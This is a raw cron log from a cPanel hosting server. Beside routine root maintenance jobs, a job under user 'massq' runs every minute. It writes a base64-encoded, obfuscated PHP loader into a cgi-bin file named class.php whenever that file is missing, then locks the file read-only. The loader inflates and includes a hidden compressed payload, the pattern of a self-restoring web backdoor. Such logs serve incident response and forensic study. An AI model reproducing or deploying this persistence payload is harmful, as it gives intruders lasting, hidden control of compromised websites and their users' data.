Nov 13 16:02:01 server CROND[24396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:03:01 server CROND[24946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:04:01 server CROND[25912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:05:01 server CROND[26788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:05:01 server CROND[26787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:05:01 server CROND[26789]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 16:05:01 server CROND[26790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:06:01 server CROND[27655]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:07:01 server CROND[28512]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:08:01 server CROND[29361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:09:01 server CROND[30274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:09:01 server CROND[30275]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 16:10:01 server CROND[31144]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 16:10:01 server CROND[31145]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:10:01 server CROND[31146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:10:01 server CROND[31147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:11:01 server CROND[32242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:12:01 server CROND[643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:12:01 server CROND[644]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 16:13:01 server CROND[1511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:14:01 server CROND[2392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:15:01 server CROND[3248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:15:01 server CROND[3246]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:15:01 server CROND[3247]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
